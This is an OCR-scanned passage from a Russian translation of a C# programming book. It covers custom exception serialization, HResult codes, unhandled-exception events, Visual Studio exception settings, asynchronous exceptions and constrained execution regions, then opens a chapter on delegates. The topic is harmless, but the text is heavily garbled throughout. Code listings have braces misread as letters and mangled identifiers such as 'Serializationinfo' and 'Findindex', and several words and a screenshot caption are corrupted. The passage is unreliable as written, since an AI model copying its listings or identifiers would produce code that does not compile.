нельзя, сериализация позволяет создать в целевом домене копию исключения. Это означает, что исключение, выброшенное размещенным в системе хостинга приложением, может быть перехвачено и запротоколировано этой системой даже в том слу- чае, когда данное приложение выполняется в отдельном домене при- ложения. .NET-приложения с пользовательским интерфейсом в стиле 4 * Windows 8 не поддерживают домены приложений или сериа- лизацию среды CLR, поэтому данную возможность нельзя ре- ализовать для исключений, рассчитанных на использование в этом окружении. 404
Исключения Если необходимости в поддержке данного сценария нет, можно не делать исключения сериализуемыми, однако для полноты картины я все же опишу, какие изменения потребовалось бы для этого внести. Во- первых, поддержка сериализации не наследуется — если базовый класс является сериализуемым, это еще не означает, что таким же окажется и производный класс. Поэтому нужно добавлять атрибут [Serializable] перед объявлением класса. Затем, поскольку класс Exception выбирает пользовательскую сериализацию, мы должны поступить так же, что означает, что нужно переопределить единственный член интерфейса ISerializable и предоставить специальный конструктор, который среда выполнения будет использовать при десериализации типа. В листин- ге 8.12 показано, какие члены потребуется добавить, чтобы заставить поддерживать сериализацию пользовательское исключение из ли- стинга 8.11. Метод GetObjectData просто сохраняет текущее значение свойства Status исключения в контейнере «имя/значение», предостав- ляемом средой CLR во время сериализации. Это значение извлекается в конструкторе, вызываемом в процессе десериализации. Листинг 8.12. Добавление поддержки сериализации ч public override void GetObjectData(Serializationinfo info, Streamingcontext context) I base.GetObjectData(info, context); info.AddValue("Status", Status); 1 / public DeviceNotaladyException(Serializationinfo info, Streamingcontext context) : base(info, context) Status = (Devicestatus) info.GetValue("Status", typeof(Devicestatus)); } Еще одна особенность пользовательского исключения касается во- проса о том, нужно ли устанавливать свойство HResult базового класса Exception. Оно приобретает важность в том случае, когда ваше исключе- ние доходит до границы интероперабельного механизма (службы обе- спечения интероперабельности платформы .NET будут рассмотрены в главе 21). Если ваш .NET-код вызывается через интероперабельный механизм, .NET-исключение не сможет распространяться далее этой границы в неуправляемый код. Свойство HResult установит код ошиб- 405
Глава 8 ки, который будут видеть вызывающие неуправляемые программы. Поэтому данное свойство должно возвращать код COM-ошибки, яв- ляющейся наиболее близким эквивалентом той, которую представляет исключение. Соответствующие коды ошибок будут не у всех исключе- ний .NET, хотя у многих из встроенных исключений такие эквиваленты есть. Например, исключение FileNotFoundException присваивает свой- ству HResult значение 0x80070002. Если вы знакомы с ошибками СОМ (которые в инструментарии Win32 SDK обладают типом HRESULT), то вам должно быть известно, что префикс 0x8007 говорит, что в действи- тельности это код ошибки Win32, обернутый в тип HRESULT. Таким об- разом, это COM-эквивалент для равного 2 кода ошибки Win32 ERROR FILE_NOT_FOUND. Поскольку базовый класс предоставляет такое значение, вам не обязательно его устанавливать. В случае прямого наследования от классаЕхсер^опсвойство HResult будетсодержатьзнач^ние 0x80131500 (где 0x8013 — префикс COM-ошибки для ошибок .NET). Исключе- ние из листинга 8.11 наследует от класса InvalidOperationException, который присваивает своему свойству HResult значение 0x80131509. В действительности есть более удачный эквивалент платформы Win32 для той конкретной проблемы, которую представляет данное исключение: ERROR NOT READY, со значением 0x15, чему соответствует 0x80070015 свойства HRESULT. Если существует хоть какая-то вероят- ность того, что исключение может дойти до границы интероперабель- ного механизма, где его нужно будет корректно интерпретировать, то следует присвоить это значение свойству HResult в конструкторах ис- ключения. Необработанные исключения Ранее вы видели поведение по умолчанию, проявляемое консоль- ным приложением в том случае, когда код выбрасывает исключение, ко- торое он не обрабатывает. При этом выводится тип исключения, строка сообщения и трассировка стека, после чего выполнение процесса пре- кращается. Это происходит вне зависимости от того, было ли выброше- но необработанное исключение в основном потоке, в созданном вами явно, или в потоке из пула потоков, запущенном средой CLR. (Так было не всегда. До выхода версии .NET 2.0 потоки, создаваемые средой CLR, «проглатывали» исключения, не "сообщая о них и не выполняя аварий- ное завершение работы. Вы можете и сейчас встретить старые приложе- 406
Исключения ния, которые действуют таким образом. Если конфигурационный файл приложения содержит элемент lega^yUnhandledExceptionPolicy с атри- бутом enabled=”l”, то приложение возвращается к старому поведению .NET версии 1, то есть необработанные исключения будут исчезать без какой-либо реакции с его стороны.) Среда CLR позволяет обнаружить, когда необработанные исключе- ния достигают вершины стека. Класс AppDomain предоставляет событие UnhandledException, которое запускается средой CLR в том случае, когда подобное происходит в любом из потоков. О событиях бы поговорим в главе 9, однако, немного забегая вперед, в листинге 8.13 я показываю, как обрабатывается данное событие, и выбрасываю необработанное ис- ключение, чтобы испытать обработчик события в деле. Листинг 8.13. Уведомление о необработанном исключении static void Main (string [] args) AppDomain.CurrentDomain.UnhandledException += OnUnhandlecJException; % // Умышленный сбой для демонстрации события UnhandledException throw new InvalidOperationException(); private static void OnUnhandledException(object sender, UnhandledExceptionEventArgs e) I / Console.WriteLine ("Исключение необработан©: (0)", e. ExceptionObject); ) После уведомления обработчика уже слишком поздно останавли- вать исключение — среда CLR прекратит выполнение процесса вскоре после вызова обработчика. Основное назначение данного события со- стоит в том, чтобы предоставить место для размещения кода протоколи- рования, позволяющего сохранить некоторую информацию о сбое для диагностики. В принципе, также можно было бы попытаться сохранить любые несохраненные данные, чтобы упростить восстановление при повторном запуске программы, однако здесь нужно проявить осторож- ность: вызов обработчика необработанного исключения по определе- нию означает, что программа находится в ненадежном состоянии, и со- храняемые вами данные могут оказаться некорректными. 407
Глава 8 Некоторые платформы приложений предлагают собственные спо- собы обработки необработанных исключений. Например, настольные приложения для Windows должны выполнять цикл обработки сообще- ний, чтобы отвечать на пользовательский ввод и системные сообщения. Обычно это обеспечивает некоторый фреймворк пользовательского интерфейса (такой как Windows Forms или WPF). Цикл обработки со- общений этого фреймворка просматривает каждое сообщение и может принять решение вызвать один или несколько методов в вашем коде; при этом каждый вызов обычно обертывается в блок try для перехваты- вания исключений, которые, вероятно, выбросит ваш код. Это делается, в частности, по той причине, что поведение по умолчанию, состоящее в выводе сведений об ошибке на консоль, несет мало пользы для при- ложений, которые не отображают окно консоли. Вместо этого фрейм- ворк может выводить отдельное окно с информацией об ошибке. Веб- фреймворки, такие как ASP.NET, нуждаются в ином механизме: они, как минимум, должны генерировать ответ, указывающий серверную ошиб- ку так, как рекомендует спецификация HTTP. Это означает, что событие UnhandledException из листинга 8.13, веро- ятно, и не будет запущено при выходе необработанного исключения из вашего кода, поскольку его может перехватить фреймворк. Если вы ис- пользуете фреймворк приложений, вы должны проверить, не предостав- ляет ли он собственный механизм обработки необработанных исклю- чений. Например, приложения ASP.NET могут обладать файлом global, asax с различными обработчиками глобальных событий, содержащим метод Application Error для обработки необработанных исключений. Фреймворк WPF имеет собственный класс Application, и для обработки исключений нужно использовать событие DispatcherUnhandledException этого класса. Сходным образом, фреймворк Windows Forms предостав- ляет класс Application с членом ThreadException. Даже при использовании таких фреймворков их механизмы работа- ют только с теми необработанными исключениями, которые возникают в контролируемых фреймворком потоках. Если вы создадите новый по- ток и выбросите необработанное исключение в нем, оно появится в со- бытии UnhandledException класса AppDomain, поскольку у фреймворков нет полного контроля над средой CLR. Доступная для приложений с пользовательским интерфейсом в сти- ле Windows 8 усеченная версия среды CLR не включает класс AppDomain, а потому единственной возможностью сделать что-то с необработанны- ми исключениями в этом окружении является использование обработки, 408
Исключения предоставляемой фреймворком. API-интерфейс для приложений для Windows 8 на базе XAML определяет класс Application, который слу- жит для той же цели, что и класс Application фреймворка WPF, с тем от- личием, что соответствующее событие называется UnhandledException. Исключения и отладка По умолчанию отладчик среды разработки Visual Studio вмешивает- ся, когда необработанное исключение выбрасывается в процессе, к кото- рому он прикреплен, однако если среда CLR найдет обработчик события, отладчик не будет прерывать выполнение. Это оказывается проблемой в тех ситуациях, когда фреймворки осуществляют собственное управле- ние необработанными исключениями; среда CLR может посчитать ис- ключение обработанным по той причине, что, вызывая ваш обработчик, цикл обработки сообщений фреймворка пользовательского интерфейса будет обладать парой блоков try/catch. Фреймворки могут до некото- рой степени устранять эту проблему путем взаимодействия с отладчи- ком - если, к примеру, вы напишете обработчик события щелчка мыши в приложении WPF и выбросите исключение из этого обработчика, отладчик вмешается в дело, поскольку WPF будет «в сговоре» с Visual Studio. Однако в более сложных сценариях существует вероятность, что к тому моменту, когда отладчик решит вмешаться, вы уже окажетесь на определенном удалении от исходного исключения, поскольку оно будет обернуто в некоторое другое исключение. Напримеруесли вы создадите определенную разновидность повтор- но применяемого компонента пользовательского интерфейса WPF, то есть пользовательского элемента управления, и если этот компонент выбросит исключение в своем конструкторе, отладчик не обязатель- но вмешается в той же точке, где будет выброшено исключение. Если вы воспользуетесь своим пользовательским элементом управления из XAML-кода, парсер XAML перехватит исключение и, как упоминалось ранее, обернет его в свойство InnerException класса XamlParseException. Хотя цикл обработки сообщений фреймворка WPF взаимодействует с отладчиком, парсер XAML такого не делает, поэтому в большинстве случаев отладчик вмешается лишь в момент выбрасывания исключения- обертки, но не исходного исключения. Проверив содержимое свойства InnerException, вы сможете выяснить, где было выброшено исходное исключение, однако узнать содержимое локальных переменных или какие-либо другие состояния в момент возникновения проблемы будет нельзя, поскольку выполнение потока уже уйдет вперед. 409
Глава 8 По этой причине я часто изменяю конфигурацию среды разработ, ки Visual Studio таким образом, чтобы она прерывала выполнение сразя же после выбрасывания исключения даже при наличии обработчика При этом отладчик будет показывать полный контекст, в котором воз- никло исключение. Задать такое поведение можно в диалоговом окне Exceptions (Исключения), представленном на рис. 8.2. Открыть окна можно из меню Debug (Отладка). Break when an exception is: 1 I Name Jhrown User-unhandled г _ , ; delete ®-jC+♦ Exceptions] О 0 T- *— ..... Й Cob mon Language Runtine Exceptions □ 0 ф GPU Menory Access Exceptions □ 0 > ф-JavaScript Runtine Exceptions О 0 1 j Managed Debugging Assistants □ 0 / ’ Find Next Й- Native Run-Tine Checks О 0 < ЕВ- Win32 Exceptions О 0 | ? Reset All , [ Ь-.. ‘о*-, Рис. 8.2. Диалоговое окно Exceptions (Исключения) среды разработки Visual Studio Если установить флажок в столбце Thrown (Вызванное), отладчик станет прерывать выполнение каждый раз, когда будет выбрасываться какое-либо исключение. (Данное диалоговое окно позволяет задавать поведение для разных видов кода. Для .NET-приложений следует уста- новить флажок в строке Common Language Runtime Exceptions.) При установленном флажке Thrown (Вызванное) в столбце User-unhandled (Не обработанное пользовательским кодом) можно задать, прерывать ли выполнение, когда исключение обрабатывается кодом, написанным не вами (например, блоком catch, предоставленным компонентом би- блиотеки классов), или только когда исключение вообще не обраба- тывается. Кстати говоря, второй столбец отображается не всегда - это зависит от того, может ли среда разработки Visual Studio провести раз- личие между вашим и другим кодом, что она будет способна сделать только в том случае, если в диалоговом окне Options (Параметры) в раз- деле Debugging (Отладка) установлен флажок Just Му Code (Вклю- чить только мой код). Эта опция несовместима с некоторыми другими, 410
Исключения включая возможность автоматической загрузки исходного кода библио- теки классов .NET Framework пртмюшаговом выполнении программы (что также задается в диалоговом окне Options (Параметры)). Однако столбец Thrown (Вызванное) отображается всегда. Одна из проблем отладки исключений после их выбрасывания за- ключается в том, что иногда код выбрасывает много неопасных ис- ключений. Некоторые фреймворки делают это чаще других — ASP. NET выбрасывает и тут же перехватывает несколько несущественных исключений еще на стадии запуска, в то время как WPF практически всегда выбрасывает исключения только в том случае, если что-то идет не так. Таким образом, в зависимости от того, какое приложение вы соз- даете, вам, возможно, потребуется проявлять некоторую избиратель- ность. Если в диалоговом окне Exceptions (Исключения) развернуть узел Common Language Runtime Exceptions, будет отображено древо- видное представление типов исключений, упорядоченных по простран- ствам имен; здесь вы можете задать разное поведение для разных ис- ключений. С помощью кнопки Add (Добавить) можно также добавить пользовательские типы исключений, чтобы настроить поведение и для них. К сожалению, нет никакого способа сконфигурировать поведение, специфичное для расположения — так, если вам известно, что некото- рое приложение или фреймворк всегда выбрасывает и перехватывает исключение в каком-то конкретном месте, и вам хотелось бы всегда иг- норировать данное исключение именно здесь, но не где-то еще, вы не сможете этого добиться. Асинхронные исключения В начале этой главы я упомянул, что определенные исключения сре- да CLR способна выбрасывать в любой точке выполнения кода, и что эти исключения могут быть вызваны факторами, находящимися вне вашего контроля. Такие исключения называют асинхронными, хотя они не имеют никакого отношения к асинхронному программированию или ключевому слову async, о котором я расскажу в главе 18. В данном кон- тексте «асинхронные» означает лишь то, что вызывающие эти исключе- ния события могут происходить независимо от того, что делает ваш код в данный момент. К числу асинхронных относятся исключения ThreadAbortException, OutOfMemoryException и StackOverflowException. Первое из них возника- 411
Глава 8 ет в том случае, когда некоторый другой поток решает прервать выпол- нение вашего. Так может поступать среда CLR, когда это требуется для закрытия- домена приложения, однако подобное можно сделать и про- граммным путем, вызвав метод Abort соответствующего объекта Thread. Другие два исключения вызывают больше удивления — неожиданно то, что они способны появиться в любом месте кода. Ведь, казалось бы, столкнуться с нехваткой памяти можно только при попытке выделить ее? И переполнение стека случается только при выполнении операции, требующей размещения данных в стеке, такой как вызов функции? На самом деле среда CLR сохраняет за собой право увеличивать стек дина- мическим образом в середине метода с целью освобождения места для хранения временных данных, а также выполнять другие операции выде- ления памяти в любое время с любой целью, которая будет целесообраз- ной с точки зрения среды. Именно поэтому названные два исключения считаются асинхронными — ваш код может косвенным образом вызвать использование кучи или стека в любой момент, да^се если вы не просите этого явно. Асинхронные исключения вызывают затруднения, когда дело ка- сается освобождения ресурсов, поскольку они могут возникать внутри финализаторов и блоков finally (включая неявные блоки, например, генерируемые инструкцией using). Если ваш код вызывает неуправляе- мый код и получает манипуляторы, как он может Гарантировать осво- бождение этих манипуляторов при наличии асинхронных исключений? Даже если вы со всей тщательностью напишете инструкции using, бло- ки finally и финализаторы, чтобы по возможности обеспечить своевре- менное освобождение манипуляторов, что вы будете делать, если асин- хронное исключение возникнет внутри блока finally или финализатора непосредственно перед закрытием манипулятора? Обычное решение этой проблемы состоит в том, чтобы просто мах- нуть на нее рукой — восстановление после любого из таких исключений трудно по самой своей сути, и легче просто позволить процессу прекра- тить работу, чтобы можно было запустить его снова. Если исключение OutOfMemoryException возникнет просто в результате попытки разместить в памяти очень большой массив, возможно, вам удастся продолжить вы- полнение без проблем; однако если объем свободной памяти при этом окажется настолько мал, что не позволит размещать даже небольшие объекты, то, вероятно, будет разумнее закрыть приложение. Аналогич- ным образом исключение-SfeackOverf lowException обычно указывает,что программа находится в крайне ненадежном состоянии. По причине до- 412
Исключения статочно разрушительного характера^исключения ThreadAbortException оно используется главным образом только как часть попытки закры- тия ресурсов. Однако среда CLR предлагает ряд продвинутых техник, которые позволяют корректно освобождать манипуляторы и другие неуправляемые ресурсы даже в случае крайних ситуаций, приводя- щих к выбрасыванию вышеперечисленных исключений. Эти возмож- ности предназначены для сценариев, в которых сбойное приложение еще должно быть закрыто, но принимающий среду CLR процесс дол- жен продолжить свое выполнение. (Точнее говоря, данные возможности были разработаны для того, чтобы позволить приложению SQL Server принимать среду CLR без риска для доступности баз данных.) Скорее всего, вам не потребуется использовать эти техники, если только вы не создаете код, имеющий дело с неуправляемыми ресурса- ми, выполняющийся в сценарии высокой работоспособности и запуска- ющийся в хост-приложении среды CLR, которое должно продолжать функционировать даже в случае сбоя принимаемых им отдельных .NET- приложений (таком как SQL Server). Хотя многие из типов библиотеки классов .NET’Framework используют такие техники от вашего имени, вам почти никогда не потребуется применять их самостоятельно. Так что причине я не буду приводить здесь примеры, а лишь опишу эти воз- можности и расскажу, на какое использование они рассчитаны. Гарантировать надежное освобождение .NET-типом обертываемого им неуправляемого манипулятора можно с помощью области с огра- ниченным выг^лнением. Это блок кода, для которого среда CLR гаран- тирует, что в нем никогда не появится асинхронное исключение. Сре- да выполнения может обеспечить это только при условии отсутствия в коде определенных операций. Вы не должны выделять память явно с помощью оператора new или неявно с помощью операции упаковки. Вы не должны пытаться получить блокировку для целей многопоточ- ной синхронизации. Вы не можете выполнять обращение к многомер- ному массиву. В большинстве случаев не допускается и косвенный вы- зов методов: не позволено использовать делегаты или необработанные указатели функций, нельзя вызывать методы через API-интерфейс от- ражения, ограничено использование виртуальных методов (вызывать их можно, однако вы должны сообщить среде CLR, какие именно реа- лизации вы собираетесь запустить, до того как войти в область с ограни- ченным выполнением). На самом деле использование других методов также возможно с оговорками — те же условия накладываются на любой метод, вызываемый областью с ограниченным выполнением. 413
Глава 8 Цель всего этого заключается в том, чтобы позволить среде CLRonpe делить заранее, обладает ли она достаточным объемом памяти для все области с ограниченным выполнением. Это гарантирует, что весь код, за пускаемый областью с ограниченным выполнением, пройдет предвари тельную JIT-компиляцию. Любое пространство для временного хранена в куче или стеке, которое может потребоваться методу, будет выделен) заранее, что исключает выбрасывание исключений OutOfMemoryExceptia и StackOverflowException в процессе выполнения области. На это врем блокируются прерывания выполнения потоков. (Конечно, нет гарантии что все перечисленные исключения вообще не будут выброшены; эн лишь означает, что если они и окажутся выброшены, это произойдет либ до, либо после области с ограниченным выполнением.) Существуют три способа создания области с ограниченным выпол нением. Первый состоит в использовании типа, производного от тип CriticalFinalizerObject, как было описано в главе 7. (Наследоватьо этого типа можно как напрямую, так и косвенно — например, черв SafeHandle, который я опишу в главе 21.) Финализатор такого типа явля ется областью с ограниченным выполнением, и среда CLR не позволи создать объект, если не сможет заранее взять на себя обязательство в ко нечном итоге выполнить этот финализатор. Оба других способа связан! с использованием класса RuntimeHelpers. Данный класс обладает стати ческим методом PrepareConstrainedRegions, и если вызвать этот метоц непосредственно перед блоком try, то все соответствующие блоки catc и finally среда CLR будет считать областями с ограниченным выполне нием, и перед тем как приступить к выполнению блока try, возьмет н себя обязательство обеспечить их выполнение (сам блок try при это не будет областью с ограниченным выполнением). Класс RuntimeHelper также предоставляет метод ExecuteCodeWithGuaranteedCleanup, которы принимает два делегата. Первый работает в обычном режиме, однак второй считается областью с ограниченным выполнением и будет по; готовлен до вызова первого делегата, чтобы гарантировать выполненн в любом случае (если же количество доступных ресурсов не позволяе дать такую гарантию, не будет вызван ни один из делегатов). Области с ограниченным выполнением являются частью более ш! рокого набора возможностей среды CLR, которые иногда собирательн называют возможностями обеспечения надежности. Они предназнаш ны для предсказуемого поведения в таких экстремальных сценария как нехватка памяти или неожиданное закрытие домена приложена Написание кода, который был бы надежным в таких ситуациях, требу! 414
Исключения значительных усилий и может давать сомнительные преимущества — если, к примеру, система столкнулась с нехваткой памяти, не факт, что она также не испытывает и более серьезных проблем. Возможности обеспечения надежности были введены для того, чтобы позволить при- ложению SQL Server принимать среду CLR и выполнять неуправляе- мый код, не подвергая риску предъявляемые к базам данных стандарты высокой работоспособности. В применении этих возможностей лучше полагаться на код, который использует их за вас, как, например, типы, производные от типа SafeHandle. Подробное обсуждение применения возможностей обеспечения надежности, а также специализированных окружений хостинга, для которых они предназначены (таких как при- ложение SQL Server), выходит за рамки данной книги. * Резюме В .NET об ошибках обычно сообщают с помощью исключений, кроме тех случаев, когда ошибка является распространенной и использование исключений требует больших затрат по сравнению с выполняемой по- лезной работой. Исключения позволяют отделить код обработки оши- бок от основного кода. При их применении также труднее игнорировать ошибки, продвигающиеся вверх по стеку и в конечном итоге приводящие к закрытию программы с генерированием отчета. Блоки catch позволяют обрабатывать те исключения, появление которых мы способны предуга- дать. (Х0Тя с их помощью можно перехватывать все исключения без раз- бора, обычно это плохая идея — не зная, почему произошло конкретное исключение, вы будете пребывать в неведении и относительно способа восстановления после него.) Блоки finally позволяют обеспечить безо- пасное освобождение ресурсов вне зависимости от того, выполняется ли код успешно или сталкивается с исключениями. В библиотеке классов .NET Framework определено много полезных типов исключений, однако при необходимости мы можем написать и собственные. К этому моменту мы уже изучили базовые элементы кода, классы и другие пользовательские типы, коллекции и обработку ошибок. Нам осталось рассмотреть еще один элемент системы типов языка C# — осо- бую разновидность объекта, называемую делегатом.
Глава 9 ДЕЛЕГАТЫ, ЛЯМБДА-ВЫРАЖЕНИЯ И СОБЫТИЯ Наиболее распространенный способ использования API-интерфейса j сводится к вызову методов и свойств, предоставляемьрГ его классами; j однако в некоторых случаях требуется, чтобы все происходило наобо- | рот. В главе 5 я описал возможности поиска, предлагаемые массивами и списками. Для использования этих возможностей я написал метод, возвращающий значение true, когда его аргумент удовлетворял моему критерию, и соответствующие API-интерфейсы вызывали мой метод для каждого просматриваемого элементауОбратный вызов не всегда вы- полняется немедленно. Асинхронные API -интерфейсы могут вызывать метод в нашем коде по завершении некоторой долговременной работы. А в приложении на стороне клиента обычно требуется, чтобы наш код выполнялся после взаимодействия пользователя с определенными ви- зуальными элементами, такими как кнопки. Возможность использования обратных вызовов могут обеспечи- I вать интерфейсы и виртуальные методы/В главе 4 я описал интерфейс : IComparer<T>, в котором определен единственный метод CompareTo. Он вызывается такими методами, как Array. Sort, когда нам требуется ис- пользовать модифицированный порядок сортировки. Давайте предста- вим, что существует фреймворк пользовательского интерфейса, в ко- тором определен интерфейс IClickHandler с методом Click, и, скажем, Doubleclick. Фреймворк может требовать от нас реализации данного интерфейса в том случае, если мы хотим получать уведомления о на- жатиях кнопок мыши. В действительности ни один из фреймворков пользовательского ин- терфейса платформы .NET не применяет подход на базе интерфейсов, поскольку он становится обременительным, когда возникает необходи- мость в обратных вызовах нескольких видов. Когда дело касается взап-^ модействия с пользователем, одиночные и двойные щелчки являются| лишь верхушкой айсберга — в приложениях WPF, к примеру, каждый! элемент пользовательского интерфейса может предоставлять более | 100 видов уведомлений. Однако зачастую достаточно одного-двух со-| 416
Делегаты, лямбда-выражения и события |ытий каждого элемента, так что интерфейс, требующий реализации 00 методов, был бы обременительным. Это неудобство можно устранить путем разделения уведомлений аду несколькими интерфейсами. Также поможет использование ба- ового класса с виртуальными методами, предоставляющего пустые ре- лизации по умолчанию для всех обратных вызовов; это позволит нам Переопределить лишь те из них, в которых мы заинтересованы. Однако ||анный объектно-ориентированный подход обладает серьезным недо- статком даже при всех этих усовершенствованиях. Допустим, у нас есть пользовательский интерфейс с четырьмя кнопками. Если бы в применя- ющем данный подход гипотетическом фреймворке пользовательского интерфейса мы захотели создать разные методы-обработчики Click для каждой кнопки, нам потребовалось бы определить четыре отдельные ре- ализации интерфейса IClickHandler. Поскольку один класс может реа- лизовать любой конкретный интерфейс только один раз, нам пришлось бы написать четыре класса. Это очень громоздкое решение, особенно если учесть то, что нам нужно лишь сообщить кнопке о необходимости вызывать конкретный метод в случае нажатия. C# предоставляет намного более простое решение в виде делегата — ссылки на метод. Если по какой-либо причине вам нужно, чтобы библи- отека выполняла обратный вызов вашего кода, обычно требуется просто передать ей делегат, ссылающийся на тот метод, который вам требуется вызывать. В главе 5 я j^ce приводил пример такого кода; я привожу его еще раз в листинге 9.1. Данный код находит индекс первого ненулевого элемента в массиве int [ ]. Листинг 9.1. Поиск в массиве с использованием делегата public static int GetlndexOfFirstNonEmptyBin(int[] bins) ( return Array.Findindex(bins, IsGreaterThanZero); I private static bool IsGreaterThanZero(int value) ( return value > 0; I На первый взгляд этот код кажется очень простым: второй параметр метода Array. Findindex требует метод, который он мог бы вызывать для проверки конкретного элемента на соответствие критерию поиска, поэ- 417
Глава 9 тому я передаю в качестве аргумента свой метод IsGreaterThanZero. Од- нако что в действительности представляет собой передача метода и как она согласуется с системой типов платформы .NET, CTS? Типы делегатов Листинг 9.2 демонстрирует объявление метода Findlndex, исполы- зуемого в листинге 9.1. Первый параметр — массив, в котором произво дится поиск, однако нас больше интересует второй параметр — именн| здесь я передал метод. I Листинг 9.2. Метод с параметром -делегатом public static int FindIndex<T>( j T[] array, / I Predicate<T> natch ) Второй аргумент этого метода обладает типом Predicate<T>, где' также является типом элементов массива, и, поскольку в листинге 9. используется массив int [ ], это будет тип Predicate<int>. (На тот слу чай, если у вас нет познаний ни в формальной логике, ни в теории вы числительных систем, стоит упомянуть, что слово predicate (англ, пре дикат) здесь подразумевает функцию, определяющую истинность ил1 ложность какого-либо условия. Например, мы могли бы использовал предикат, сообщающий, является ли число четным.) Как определяете! данный тип, показано в листинге 9.3. Причем то, что вы видите, - во определение целиком, а не его часть; если бы вы захотели написать тип эквивалентный типу Predicate<T>, то это оказалось бы все, что вам по требовалось бы написать. Листинг 9.3. Тип делегата Predicate<T> public delegate bool Predicate<in T>(T obj); Как и в случае большинства других типов, определение данного типа) начинается с его доступности. Мы можем применить здесь все те же клю- чевые слова, которые допускается использовать для других типов, такие как public или internal. (Как и прочие типы, делегаты можно вклады- вать в другой тип, поэтому их тоже можно определять как private или protected.) Далее следует ключевое слово delegate, которое просто со- общает компилятору С#, что мы определяем тип делегата. В остальном 418
Делегаты, лямбда-выражения и события данное определение выглядит точно так же, как объявление метода, и это не случайное совпадение. В качеств^Гвозвращаемого типа указан bool. Имя типа делегата указывается в том месте, где обычно стоит имя метода. Угловые скобки сообщают, что это обобщенный тип с одним контравари- антным аргументом типа Т, и сигнатура данного делегата содержит один параметр этого типа (о контравариантности мы говорили в главе 6). Экземпляры делегатных типов обычно называют просто «деле- гатами», и они ссылаются на методы. Метод является совместимым с конкретным типом делегата (то есть позволяет ссылаться на него через экземпляр данного типа), если их сигнатуры совпадают. Метод IsGreaterThanZero из листинга 9.1 принимает значение типа int и возвра- щает значение типа bool, потому он совместим с типом Predicate<int>. Это соответствие не обязательно должно быть точным. Если для пара- метра типа доступны неявные преобразования ссылок, можно использо- вать более обобщенный метод. Например, очевидно, что метод с возвра- щаемым типом bool и одним параметром типа object совместим с типом Predicate<object>, однако поскольку этот метод также может прини- мать аргументы типа string, он совместим и с типом Predicate<string>. (Однако он не будет совместим с типом Predicate<int> по Причине от- сутствия неявного преобразования ссылок из int в object. Существует неявное преобразование упаковки, однако это то же самое.) Создание делегата Для создания делегата можно использовать ключевое слово new; при этом вместо аргументов конструктора передается имя совместимого ме- тода. Код в листинге 9.4 создает экземпляр типа Predicate<int>, потому ему нужен метод, который возвращает значение типа bool и принимает значение типа int — как мы уже видели, метод IsGreaterThanZero из ли- стинга 9.1 удовлетворяет требованиям (этот код можно написать только там, где метод IsGreaterThanZero находится в области видимости — то есть внутри того же класса). Листинг 9.4. Конструирование делегата var р = new Predicate<int>(IsGreaterThanZero); На практике делегаты редко создаются с использованием ключево- го слова new. Необходимость в нем возникает лишь в том случае, когда компилятор не может логически вывести тип делегата. Выражения, ко- торые ссылаются на методы, необычны тем, что не обладают собствен- 419
Глава 9 ным типом — хотя выражение IsGreaterThanZero совместимо с типа Predicate<int>, оно совместимо и с другими делегатными типами. Bi могли бы определить собственный необобщенный тип делегата, принИ мающий значение типа int и возвращающий значение типа bool. Дале в этой главе я расскажу о семействе делегатных типов Func; вы могли б| сохранить ссылку на метод IsGreaterThanZero в делегате Func<int, bool) Таким образом, метод IsGreaterThanZero не обладает собственным типол поэтому компилятору необходимо знать, какой именно тип делегата на нужен. В листинге 9.4 делегат присваивается переменной, о&ьявленно с помощью ключевого слова var, которое не дает компилятору никаки указаний о том, какой тип следует использовать; вот почему мне при шлось сообщить об этом явно, применяя синтаксис конструктора. В тех случаях, когда компилятор знает, какой тип требуется, он може неявно преобразовать имя метода к целевом^типу делегата. В листия ге 9.5 переменная обладает явно заданным типом, следовательно, компи лятор знает, что требуется тип Predicate<int>. Данный код эквивалента примеру из листинга 9.4. Тот же механизм используется и в листия ге 9.1 — компилятору известно, что второй аргумент метода Findlnde обладает типом Predicate<T>, а поскольку в качестве первого аргумент мы предоставили массив типа int [ ], компилятор логически выводит, тип Т — int, а полный тип второго аргумента —zPredicate<int>. Выясни! это, компилятор конструирует делегат, используя те же встроенные пр^ вила неявного преобразования, что и в листинге 9.5. Листинг 9.5. Неявное конструирование делегата Predicate<int> р = IsGreaterThanZero; Когда код подобным образом ссылается на метод по имени, оно фор- мально называется группой методов, поскольку одному имени могут соответствовать несколько перегрузок. Компилятор сужает это множе- ство, выбирая наиболее подходящую перегрузку, аналогично тому, ка он поступает при вызове метода. Как и при вызове метода, здесь суще- ствует вероятность, что не будет найдено ни одной подходящей пере- грузки или, наоборот, обнаружится несколько в равной степени подхо- дящих; в таком случае компилятор выдаст сообщение об ошибке. Группы методов могут принимать несколько форм. В примерах, ко- торые я приводил до сих пор, использовалось неквалифицированное имя метода, что можно делать, только если метод находится в обласп видимости. Если же вы хотите сослаться на метод, определенный в дру- 420
Делегаты, лямбда-выражения и события гом классе, то имя метода слейует квалифицировать именем класса, как показано в листинге 9.6. Листинг 9.6. Делегаты к методам в другом классе internal class Program I static void Main(string!] args) ( Predicate<int> pl = Tests.IsGreaterThanZero; Predicate<int> p2 = Tests.IsLessThanZero; 1 ) internal class Tests public static bool IsGreaterThanZero(int value) I return value > 0; % } public static bool IsLessThanZero(int value) ( return value < 0; ) Помим^' статических методов, делегаты способны ссылаться и на экземплярные методы. Существует несколько способов сделать это. Прежде всего, можно просто сослаться на экземплярный метод по име- ни из контекста, в котором он находится в области видимости. Метод GetlsGreaterThanPredicate в листинге 9.7 возвращает делегат, ссылаю- щийся на метод IsGreaterThan. Оба этих метода являются экземпляр- ными, потому их можно вызвать только с помощью объектной ссылки, однако поскольку метод GetlsGreaterThanPredicate обладает неявной ссылкой this, компилятор автоматически снабжает ею и создаваемый неявным образом делегат. Листинг 9.7. Неявный экземплярный делегат public class Thresholdcomparer I public int Threshold { get; set; } public bool IsGreaterThan(int value) 421
